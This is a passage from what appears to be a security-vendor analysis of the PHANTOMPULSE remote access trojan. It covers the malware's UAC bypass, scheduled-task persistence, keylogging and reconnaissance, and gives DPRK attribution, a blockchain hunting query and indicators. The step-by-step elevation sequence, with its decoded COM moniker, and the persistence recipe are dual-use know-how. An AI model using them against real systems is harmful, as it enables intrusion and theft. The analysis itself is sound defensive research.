<p>10. Hijacks a thread via suspend / get-context / set-context</p>
<h2>Privilege escalation</h2>
<p>The <code>elevate</code> command is a UAC bypass via the <strong><code>schuac</code> technique</strong> (<code>IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)</code>), published as <a href="https://github.com/hfiref0x/UACME/issues/129">UACME issue #129</a> by zcgonvh, <a href="https://github.com/hfiref0x/UACME/blob/6daa8d486250c20189a803838c3654aad73a541d/README.md?plain=1#L778">currently under the ID 74</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image14.png" alt="screenshot showing the ID of the privilege escalation technique under UACME" /></p>
<h3>Mechanism</h3>
<p><code>MaintenanceUI.dll</code>'s <code>CMaintenanceUIVirtualFactory</code> (CLSID <code>{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code>) is registered with an <code>Elevation</code> registry key, so the OS hands non-admin callers an elevated instance. Its <code>IElevatedFactoryServer</code> interface exposes <code>ServerCreateElevatedObject(rclsid, riid, ppv)</code>, which the elevated server uses to instantiate <strong>any other CLSID</strong> under its elevated context. PHANTOMPULSE feeds it <code>CLSID_TaskScheduler</code>, gets back an elevated <code>ITaskService</code>, and uses that service to register a <code>HighestAvailable</code>-RunLevel task that re-launches the implant.</p>
<h3>The <code>elevate</code> C2 command</h3>
<p>Inside <code>ProcessCommands</code>, the elevate handler:</p>
<ol>
<li>Builds the task action. The command is <code>&lt;system_dir&gt;\rundll32.exe</code> with arguments <code>\&quot;&lt;deployed_dll&gt;\&quot;,DllRegisterServer</code>. The user identifier is <code>COMPUTERNAME\USERNAME</code> from <code>GetEnvironmentVariableW</code>. ![Elevate command call][/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image17.png]</li>
<li>Writes the <code>.elevate</code> marker as a single byte (<code>&quot;1&quot;</code>, <code>0x31</code>), not encoded parameters. The write goes through <code>NtCreateFile</code> + <code>NtWriteFile</code> to bypass user-mode hooks. The marker is just a presence flag; the elevation parameters travel inside the task definition the implant is about to register.</li>
<li>XOR-decrypts the COM Elevation Moniker at runtime, 66 bytes from <code>.rdata</code> xored against seed <code>0xE95CA237</code>, which decodes to <code>Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code>.</li>
<li>Calls <code>CoGetObject(moniker, &amp;BIND_OPTS3{dwClassContext=CLSCTX_LOCAL_SERVER}, IID_IElevatedFactoryServer, &amp;factory)</code> to get an elevated <code>IElevatedFactoryServer*</code>, then <code>factory-&gt;ServerCreateElevatedObject(CLSID_TaskScheduler, IID_ITaskService, &amp;elevatedTaskService)</code> to get an elevated <code>ITaskService*</code> that inherits the elevation.</li>
<li>Registers a transient task <code>DotNetSvcElevateTask</code> at <code>HighestAvailable</code> RunLevel with the rundll32 action above.</li>
<li>Deletes any pre-existing non-elevated persistent tasks so the old low-IL persistence cannot race the elevated relaunch.</li>
<li>Calls <code>ITaskService::Run</code> on the transient task and deletes it immediately afterward. Releases the single-instance mutex and exits the medium-IL implant.</li>
</ol>
<h3>Fallback retry via proxy rundll32</h3>
<p>If the <code>CoGetObject</code> / <code>RegisterTask</code> chain fails, a fallback path takes over. A separate startup path spawns a fresh <code>rundll32.exe &quot;&lt;deployed_dll&gt;&quot;,DllRegisterServer</code> directly via <code>CreateProcessW</code>, with retries (<code>&quot;&gt;&gt;&gt; .elevate redirect attempt %d&quot;</code>). Inside that rundll32 the implant detects <code>isProxy=1</code>, <code>elevated=0</code> and <strong>retries the schuac sequence</strong> with three registration variants (<code>ELEVATED+INTERACTIVE+user</code>, <code>ELEVATED+INTERACTIVE</code>, <code>INTERACTIVE</code>). On success, the elevated task fires and the elevated relaunch takes over. On exhaustion, the proxy logs <code>&quot;&gt;&gt;&gt; Phase 1: all registration methods failed, cleaning marker&quot;</code> and exits.</p>
<h3>Elevated rundll32 relaunch</h3>
<p>When the transient task fires, <code>svchost.exe (Schedule)</code> launches <code>rundll32.exe &quot;&lt;deployed_dll&gt;&quot;,DllRegisterServer</code> under a fresh high-IL token. The implant's <code>DllRegisterServer</code> export runs as the entry; at startup it sees the <code>.elevate</code> marker and a high-IL token and routes to the elevated path:</p>
<ul>
<li>Reads and <strong>deletes</strong> the <code>.elevate</code> marker.</li>
<li><strong>Reinstalls persistence under elevated context</strong>, including the boot task <code>DotNetSvcCoreTask</code> under <code>\Microsoft\Windows\NetFramework\</code>, registered with <code>INTERACTIVE_TOKEN</code> + <code>BootTrigger</code>, which requires admin to register.</li>
<li>Continues normal implant operation as a high-IL service.</li>
</ul>
<h3>Marker-state routing</h3>
<p>At every startup, <code>MainEntryLogic</code> calls <code>GetFileAttributesW</code> on the <code>.elevate</code> path. If it returns <code>INVALID_FILE_ATTRIBUTES</code>, the implant skips all elevation logic and starts normally. If the marker exists, the implant gathers two more facts: whether the current process is a <code>rundll32.exe</code>/<code>regsvr32.exe</code> proxy, and whether the token is elevated, then routes on the combination:</p>
<table>
<thead>
<tr>
<th>Marker</th>
<th>Proxy</th>
<th>Elevated</th>
<th>What happens</th>
</tr>
</thead>
<tbody>
<tr>
<td>absent</td>
<td>n/a</td>
<td>n/a</td>
<td>normal startup, no special routing</td>
</tr>
<tr>
<td>present</td>
<td>no</td>
<td>no</td>
<td>spawn proxy rundll32 to retry the schuac chain, then exit</td>
</tr>
<tr>
<td>present</td>
<td>yes</td>
<td>no</td>
<td>retry schuac inside the rundll32; on exhaustion delete marker and exit</td>
</tr>
<tr>
<td>present</td>
<td>*</td>
<td>yes</td>
<td>delete marker, reinstall persistence with the boot task, continue as high-IL</td>
</tr>
</tbody>
</table>
<p>The marker file's <em>contents</em> are never read, its presence alone drives the routing.</p>
<p>Elastic Security Labs' <a href="https://www.elastic.co/kr/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">Exploring Windows UAC Bypasses</a> covers detection patterns for the <code>IElevatedFactoryServer</code> class of bypass directly.</p>
<h2>Persistence</h2>
<h3>Three scheduled tasks</h3>
<p>PHANTOMPULSE installs three scheduled tasks via the COM <code>ITaskService</code> interface, each executing <code>rundll32.exe &quot;&lt;stub_dll&gt;&quot;,DllRegisterServer</code>:</p>
<table>
<thead>
<tr>
<th>Task</th>
<th>Trigger</th>
<th>Interval</th>
<th>RunLevel</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>DotNetSvcUpdateTask</code></td>
<td>User Logon + Time</td>
<td>3 min</td>
<td>Standard</td>
</tr>
<tr>
<td><code>DotNetSvcCoreTask</code></td>
<td>Boot + Time</td>
<td>15 min</td>
<td>HighestAvailable + Hidden</td>
</tr>
<tr>
<td><code>DotNetSvcUserTask</code></td>
<td>User Logon</td>
<td>On logon</td>
<td>Standard</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image5.png" alt="Persistance install start" /></p>
<p>The boot task lives under <code>\Microsoft\Windows\NetFramework\</code> to blend with legitimate .NET maintenance tasks. Its full XML body is embedded in <code>.rdata</code>, not constructed at runtime. Signatures on this literal blob are durable across builds.</p>
<p>Installation tries multiple <code>RegisterTask</code> fallback variants per task, combining <code>INTERACTIVE_TOKEN</code> and <code>S4U</code> logon types with different user-identifier formats (<code>COMPUTER\User</code>, <code>SID</code>, short username). The exact order of attempts depends on the implant's privilege context (SYSTEM, admin, or standard user); failures fall through to the next variant until one succeeds.</p>
<h3>Stub DLL drop</h3>
<p>The deployed agent lives <strong>encrypted and compressed inside the EXE's own <code>.rdata</code></strong>. <code>FilelessPersist</code> decrypts it on demand and writes the result to disk via (<code>NtCreateFile</code> + <code>NtWriteFile</code>).</p>
<p>Decryption is two stages:</p>
<ol>
<li><strong>XOR-decode</strong> a blob against a rotating 16-byte key at (<code>decoded[i] = blob[i] ^ key[i &amp; 0xF]</code>, with <code>decoded[0] = 0x1E</code> as a hard-coded first byte that primes the LZNT1 chunk header).</li>
<li><strong><code>RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, ...)</code></strong> on the decoded buffer, which is a DLL (<code>svcagent.dll</code>).</li>
</ol>
<p>Drop paths in priority order, falling through on access errors:</p>
<ol>
<li><code>%ProgramData%\AssetMon\svcagent.dll</code> (primary)</li>
<li><code>%APPDATA%\AssetMon\svcagent.dll</code></li>
<li><code>%TEMP%\svcagent.dll</code></li>
<li>A redundant <code>%ProgramData%</code> &quot;sleeper&quot; copy at a separate path</li>
</ol>
<p>Analysts can reproduce the deployed DLL offline by reading the two regions above out of the EXE, applying the XOR loop, and feeding the result to <code>RtlDecompressBuffer</code> (or any LZNT1 implementation) as seen in the CyberChef screenshot below.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image19.png" alt="Cyberchef decrypting the DLL" /></p>
<h3>DLL sideload migration</h3>
<p>A block inside <code>SetupRegistryPE</code> (logged with the <code>MigrateSideload</code> / <code>MigrateLegacySideloads</code> debug-string prefixes) enumerates running processes and their <strong>executable directories</strong>, hunting for <code>diagcore.dll</code>. When found, it overwrites the file with the current stub via <code>CopyFileW</code>.</p>
<h3>Self-healing</h3>
<p>Self-healing runs on iteration 2 of the C2 loop and every 10th iteration thereafter, gated on a deferred-persist flag being clear. The check order:<br />
<img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image18.png" alt="Self healing start" /></p>
<ol>
<li><strong>Registry-persistence check first.</strong> <code>CheckRegistryPersistence</code> runs at the top of the block. If it reports unhealthy, the implant immediately re-runs <code>FilelessPersist</code> (re-decrypts and re-drops the stub DLL) and <code>InstallPersistence</code> (re-registers the task triggers).</li>
<li><strong>Task verification.</strong> <code>SelfHealCheckTasks</code> then verifies the three persistence tasks (<code>DotNetSvcUpdateTask</code>, <code>DotNetSvcCoreTask</code>, <code>DotNetSvcUserTask</code>) and reinstalls any that are missing. The boot task check is gated on SYSTEM-or-admin context; non-privileged callers skip it.</li>
<li><strong>AV inventory refresh.</strong> <code>DetectInstalledAV</code> runs at the end to refresh the operator-visible AV product list.</li>
</ol>
<p>The privilege gating matters for eviction. From a non-elevated context, the boot-task check is skipped, so the boot task is not inspected during cleanup. Full eviction requires removing all three tasks plus the registry artifact in one window from an elevated context.</p>
<p>Beyond the iteration-based self-heal, the implant carries a <strong>deferred-persist mechanism</strong> keyed off a single flag. On heartbeat-success paths in <code>C2Loop_Main</code>, once the heartbeat-success counter exceeds one with the flag set, the implant re-runs <code>FilelessPersist</code> + <code>InstallPersistence</code> and clears the flag. This gives PHANTOMPULSE a second persistence-repair path that fires on a different trigger than the iteration-based self-heal.</p>
<h2>Collection</h2>
<h3>Inline keylogger with clipboard monitoring</h3>
<p>The keylogger runs inline in the C2 loop with no dedicated thread. It resolves APIs from <code>user32.dll</code> at runtime:</p>
<table>
<thead>
<tr>
<th>API</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>GetAsyncKeyState</code></td>
<td>Polling key state</td>
</tr>
<tr>
<td><code>GetForegroundWindow</code></td>
<td>Active window detection</td>
</tr>
<tr>
<td><code>GetWindowTextA</code></td>
<td>Window title capture</td>
</tr>
<tr>
<td><code>MapVirtualKeyA</code> / <code>ToUnicode</code></td>
<td>Key translation</td>
</tr>
<tr>
<td><code>GetClipboardSequenceNumber</code></td>
<td>Clipboard change detection</td>
</tr>
<tr>
<td><code>OpenClipboard</code> / <code>GetClipboardData</code></td>
<td>Clipboard reading (CF_UNICODETEXT)</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image21.png" alt="Keylogger function" /></p>
<p>The log file is XOR-encrypted with the <code>0xE95CA237</code> seed. Uploads send only the delta to avoid retransmission.</p>
<h3>Screenshot</h3>
<p>Screenshots use GDI APIs resolved by hash. If desktop width exceeds 960 px, the image is downscaled before upload. The raw BMP is built in memory and uploaded with <code>Content-Type: image/bmp</code>. Triggered on-demand by the <code>screenshot</code> C2 command (hash <code>0x9A37F083</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image27.png" alt="Screenshot function" /></p>
<h3>System reconnaissance</h3>
<p>Recon data the implant gathers:</p>
<table>
<thead>
<tr>
<th>Data</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU</td>
<td>Registry: <code>ProcessorNameString</code></td>
</tr>
<tr>
<td>GPU</td>
<td>Registry display adapter <code>DriverDesc</code> (filters &quot;Microsoft Basic&quot;)</td>
</tr>
<tr>
<td>RAM</td>
<td><code>GlobalMemoryStatusEx</code></td>
</tr>
<tr>
<td>OS</td>
<td><code>RtlGetVersion</code> with build-to-version mapping (Win7 through Win11, Server 2008 through Server 2025)</td>
</tr>
<tr>
<td>Username</td>
<td><code>GetUserNameW</code> with fallback to <code>LookupAccountSidW</code> from <code>explorer.exe</code> token</td>
</tr>
<tr>
<td>Privilege</td>
<td>Token elevation type: <code>user</code>, <code>admin</code>, <code>admin_nouac</code>, <code>system</code></td>
</tr>
<tr>
<td>AV</td>
<td><code>DetectInstalledAV</code> matches running processes against a hardcoded list of ~25–30 AV vendor process names</td>
</tr>
<tr>
<td>Apps</td>
<td><code>DetectInstalledApps</code> checks a curated 19-name targeted-app list</td>
</tr>
<tr>
<td>Firewall state</td>
<td>Reads <code>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\{Domain,Standard,Public}Profile</code> to record per-profile enabled state</td>
</tr>
<tr>
<td>Services</td>
<td>Running-service count via service enumeration</td>
</tr>
<tr>
<td>Machine ID</td>
<td>DJB2(module name) ^ volume serial</td>
</tr>
<tr>
<td>Public IP</td>
<td>Multi-API HTTPS chain</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image1.png" alt="System reconnaissance" /></p>
<p>The AV-detection list is unusually broad, covering standard Western consumer AV products such as Defender, Norton, McAfee, Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G Data, Kaspersky, Panda, Sophos, Trend Micro, VIPRE, Webroot, ZoneAlarm, Comodo along with EDR vendors (CrowdStrike, SentinelOne, Cylance, Malwarebytes, HitmanPro) are all covered. The implant also probes for <strong>AhnLab V3</strong> (South Korean), <strong>Qihoo 360 / 360 Total Security</strong> and <strong>Tencent QQPC</strong> (Chinese), and <strong>K7 Computing</strong> (Indian). The Asian-AV inclusion is uncommon for Western-targeted commodity stealers and consistent with an implant designed for victims across multiple regional markets.</p>
<p>The implant also checks for a curated list of 19 high-value applications by name and flags matches in the heartbeat (<code>App detection: found %d apps</code>):</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Targets</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cryptocurrency wallets</td>
<td><code>ledger</code>, <code>trezor</code>, <code>bitcoin-core</code>, <code>electrum</code>, <code>exodus</code>, <code>atomic</code>, <code>guarda</code></td>
</tr>
<tr>
<td>Messengers</td>
<td><code>telegram</code>, <code>discord</code>, <code>signal</code>, <code>viber</code>, <code>slack</code>, <code>whatsapp</code></td>
</tr>
<tr>
<td>Mail clients</td>
<td><code>thunderbird</code>, <code>outlook</code></td>
</tr>
<tr>
<td>2FA app</td>
<td><code>authy</code></td>
</tr>
<tr>
<td>File transfer / SSH</td>
<td><code>filezilla</code>, <code>winscp</code></td>
</tr>
<tr>
<td>Gaming</td>
<td><code>steam</code></td>
</tr>
</tbody>
</table>
<p>The detection function (<code>DetectInstalledApps</code>) does <strong>not</strong> scan the registry or enumerate processes. It expands three environment-variable roots (<code>%LOCALAPPDATA%</code>, <code>%APPDATA%</code>, <code>%ProgramFiles(x86)%</code>), concatenates a hardcoded UTF-16 relative-path suffix per app (e.g. <code>\Telegram Desktop\</code>, <code>\Authy Desktop\</code>, <code>\Ledger Live\</code>, <code>\@trezor\trezor-suite\</code>, <code>\Steam\steam.exe</code>), and calls <code>GetFileAttributesW</code> on each path. A non-error return means the app is installed, and the name is recorded in the heartbeat results buffer.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image8.png" alt="List of Targeted apps" /></p>
<p>PHANTOMPULSE itself does not extract data from any of these. The list is target reconnaissance for follow-on tasking. The operator sees in the heartbeat which high-value applications a given victim has and decides what specialized payload to push next via <code>inject</code> or <code>drop</code>.</p>
<p>No wallet, browser, messenger, or credential stealer functionality was identified in the analyzed sample; the targeting list is purely a presence-check feeding the operator's decision tree.</p>
<h2>Uninstall</h2>
<p>A 6-step cleanup, triggered by the <code>uninstall</code> command, by <code>&quot;status&quot;:&quot;deleted&quot;</code> in a heartbeat response, or by a kill flag in the registry:</p>
<table>
<thead>
<tr>
<th>Step</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/6</td>
<td>Write kill flag to HKCU + HKLM, kill host process</td>
</tr>
<tr>
<td>2/6</td>
<td>Remove all 3 scheduled tasks via COM + <code>CreateProcessW</code> fallback</td>
</tr>
<tr>
<td>3/6</td>
<td>Remove legacy registry: NTLoad value, COM hijack keys, print monitor keys</td>
</tr>
<tr>
<td>4/6</td>
<td>Delete stub DLLs, sleeper logs, registry PE blob, ProgramData directories</td>
</tr>
<tr>
<td>5/6</td>
<td>Delete install path and self path from disk</td>
</tr>
<tr>
<td>6/6</td>
<td>Terminate residual <code>healthmon.exe</code> and any <code>rundll32.exe</code> instances hosting <code>svcagent.dll</code></td>
</tr>
</tbody>
</table>
<p>Step 3 reveals the legacy persistence techniques: cleanup logic for COM hijack and print monitor keys that this build never installs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image3.png" alt="Removing persistance through uninstall command" /></p>
<h2>Attribution</h2>
<p>PHANTOMPULSE's tradecraft, targeting, and infrastructure choices align with the <strong>DPRK-aligned crypto-targeting intrusion clusters</strong> that include Lazarus, BlueNoroff, UNC5342 (Contagious Interview), and APT38. Multiple independent dimensions match recent public reporting on those clusters.</p>
<p><strong>Signals aligning with DPRK reporting:</strong></p>
<ul>
<li><strong>Blockchain-resolved C2 via transaction <code>input</code> fields</strong> matches the dead-drop-resolver pattern Mandiant attributes to UNC5342 (Contagious Interview) in <a href="https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding">DPRK Adopts EtherHiding</a>. PHANTOMPULSE's specifics (wallet-byte XOR, multi-chain Blockscout) are not a 1:1 fingerprint, but the technique class is now DPRK-tagged.</li>
<li><strong>Desktop crypto-wallet enumeration set</strong> (<code>ledger</code>, <code>trezor</code>, <code>bitcoin-core</code>, <code>electrum</code>, <code>exodus</code>, <code>atomic</code>, <code>guarda</code>) closely matches Unit 42's <a href="https://unit42.paloaltonetworks.com/macos-malware-targets-crypto-sector/">RustDoor / Koi Stealer for macOS</a> targeting list, which is DPRK-attributed.</li>
<li><strong>Cross-platform Windows + macOS implants</strong> for the same victim profile (the prior REF6598 post documented a macOS sibling with C2 at <code>0x666[.]info</code> and a Telegram fallback at <code>t[.]me/ax03bot</code>) is a BlueNoroff signature.</li>
<li><strong>Telegram and messenger targeting</strong> is specifically a BlueNoroff specialty per <a href="https://arcticwolf.com/resources/blog/bluenoroff-uses-clickfix-fileless-powershell-and-ai-generated-zoom-meetings-to-target-web3-sector/">Arctic Wolf BlueNoroff coverage</a>.</li>
</ul>
<h2>Hunting for new C2 domains via the resolver wallet's known-plaintext signature</h2>
<p>The XOR scheme used by the blockchain resolver leaks a stable 2-byte signature defenders can hunt against the entire chain, not just one wallet.</p>
<p>Two facts combine: every C2 URL begins with <code>ht</code> (from <code>http://</code> or <code>https://</code>), and the XOR key is the wallet's ASCII address verbatim, so its first two key bytes are always the literal characters <code>0</code> and <code>x</code>. XOR-ing <code>ht</code> against <code>0x</code> yields <code>\x58 \x0c</code>. <strong>Every encrypted <code>input</code> field produced by a PHANTOMPULSE-style resolver, on any chain, signed by any related wallet, begins with the four hex characters <code>580c</code>.</strong></p>
<p>This converts the hunt from monitoring one wallet into sweeping the chain for the signature. Public Ethereum, Base, and Optimism transaction data is queryable via BigQuery, Dune, or full archive nodes. A query against the public Ethereum transactions dataset for <code>input</code> values starting with <code>0x580c</code>, scoped to a recent block-timestamp window, surfaces previously-unknown resolver wallets used by the same codebase. Each match is validated by decoding with the sender wallet's ASCII address as the key: a real C2 URL begins with <code>http</code> after decoding. The following <a href="https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':''%7D,'Standard',false)">CyberChef recipe</a> can be used to decrypt the C2 URL.</p>
<pre><code class="language-sql">SELECT 
    block_timestamp AS block_time, 
    from_address AS `from`, 
    to_address AS `to`, 
    input AS data
FROM `bigquery-public-data.crypto_ethereum.transactions`
WHERE block_timestamp &gt;= '2026-04-01 00:00:00'
  AND input LIKE '0x580c%'
ORDER BY block_timestamp DESC
LIMIT 10000;
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image20.png" alt="Bigquery on Etherium transactions" /></p>
<p>CyberChef can decrypt the input data to reveal the domain, as shown in the screenshot below.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/blockchain-c2-phantompulse-rat-sinkhole/image4.png" alt="Cyberchef to decrypt the C2" /></p>
<h2>Conclusion</h2>
<p>PHANTOMPULSE is engineered from published components: module stomping, debug-API state machines, manual mapping, hardware-breakpoint AMSI/WLDP/ETW bypass, scheduled-task persistence, and blockchain C2. The combination and the hardening that ties it together point to a mature codebase under active development. The durable signals are behavioral and are covered by Elastic's <a href="https://www.elastic.co/kr/security-labs/phantom-in-the-vault">behavioral protections for REF6598</a>.</p>
<h2>PHANTOMPULSE and MITRE ATT&amp;CK</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/001/">Process Injection: DLL Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/007/">System Binary Proxy Execution: Msiexec</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/011/">System Binary Proxy Execution: Rundll32</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
</ul>
<h2>Remediating</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PhantomPulse.yar">Windows.Trojan.PhantomPulse</a></li>
</ul>
<h2>Observations</h2>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code></td>
<td>SHA-256</td>
<td>PHANTOMPULSE RAT</td>
<td>Final payload</td>
</tr>
<tr>
<td><code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code></td>
<td>SHA-256</td>
<td>syncobs.exe</td>
<td>PHANTOMPULL loader</td>
</tr>
<tr>
<td><code>def66275fa3baffb16e6e4ae0297861d9790ae7161fbc271a2ba05d121f13c70</code></td>
<td>SHA-256</td>
<td>Go beacon</td>
<td>GTESTIC_WIN check-in</td>
</tr>
<tr>
<td><code>panel.fefea22134[.]net</code></td>
<td>domain</td>
<td>C2 panel</td>
<td>PHANTOMPULSE hardcoded fallback</td>
</tr>
<tr>
<td><code>fea22134[.]net</code></td>
<td>domain</td>
<td>C2 domain</td>
<td>Encrypted in binary</td>
</tr>
<tr>
<td><code>195.3.222[.]251</code></td>
<td>ipv4-addr</td>
<td>Staging server</td>
<td>PowerShell/loader delivery</td>
</tr>
<tr>
<td><code>0xc117688c530b660e15085bF3A2B664117d8672aA</code></td>
<td>crypto-wallet</td>
<td>Blockchain C2 wallet</td>
<td>ETH/Base/Optimism</td>
</tr>
<tr>
<td><code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code></td>
<td>crypto-wallet</td>
<td>Funding wallet</td>
<td>C2 resolution funding</td>
</tr>
<tr>
<td><code>eth.blockscout[.]com</code></td>
<td>domain</td>
<td>Blockchain provider</td>
<td>C2 URL resolution</td>
</tr>
<tr>
<td><code>base.blockscout[.]com</code></td>
<td>domain</td>
<td>Blockchain provider</td>
<td>C2 URL resolution</td>
</tr>
<tr>
<td><code>optimism.blockscout[.]com</code></td>
<td>domain</td>
<td>Blockchain provider</td>
<td>C2 URL resolution</td>
</tr>
<tr>
<td><code>hVNBUORXNiFLhYYh</code></td>
<td>mutex</td>
<td>Single instance</td>
<td>XOR-decrypted</td>
</tr>
<tr>
<td><code>svcagent.dll</code></td>
<td>file-name</td>
<td>Stub DLL</td>
<td>Persistence payload</td>
</tr>
<tr>
<td><code>AssetMon</code></td>
<td>directory</td>
<td>Stub DLL directory</td>
<td>%ProgramData% or %APPDATA%</td>
</tr>
<tr>
<td><code>healthmon.exe</code></td>
<td>file-name</td>
<td>Dropper</td>
<td>Original executable name</td>
</tr>
<tr>
<td><code>diagcore.dll</code></td>
<td>file-name</td>
<td>Legacy sideload DLL</td>
<td>Migrated by MigrateSideload</td>
</tr>
<tr>
<td><code>.elevate</code></td>
<td>file-name</td>
<td>Elevation marker</td>
<td>Routes the elevated relaunch</td>
</tr>
<tr>
<td><code>DotNetSvcUpdateTask</code></td>
<td>scheduled-task</td>
<td>Primary persistence</td>
<td>3-min interval</td>
</tr>
<tr>
<td><code>DotNetSvcCoreTask</code></td>
<td>scheduled-task</td>
<td>SYSTEM persistence</td>
<td>15-min, hidden</td>
</tr>
<tr>
<td><code>DotNetSvcUserTask</code></td>
<td>scheduled-task</td>
<td>User persistence</td>
<td>Logon trigger</td>
</tr>
<tr>
<td><code>EdgeWebViewUpdateTask</code></td>
<td>scheduled-task</td>
<td>Legacy task</td>
<td>Cleaned during uninstall</td>
</tr>
<tr>
<td><code>\Microsoft\Windows\NetFramework\DotNetSvcCoreTask</code></td>
<td>task-uri</td>
<td>Boot task path</td>
<td>Hidden scheduled task</td>
</tr>
<tr>
<td><code>Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}</code></td>
<td>com-moniker</td>
<td>UAC bypass</td>
<td>Elevated ITaskService</td>
</tr>
<tr>
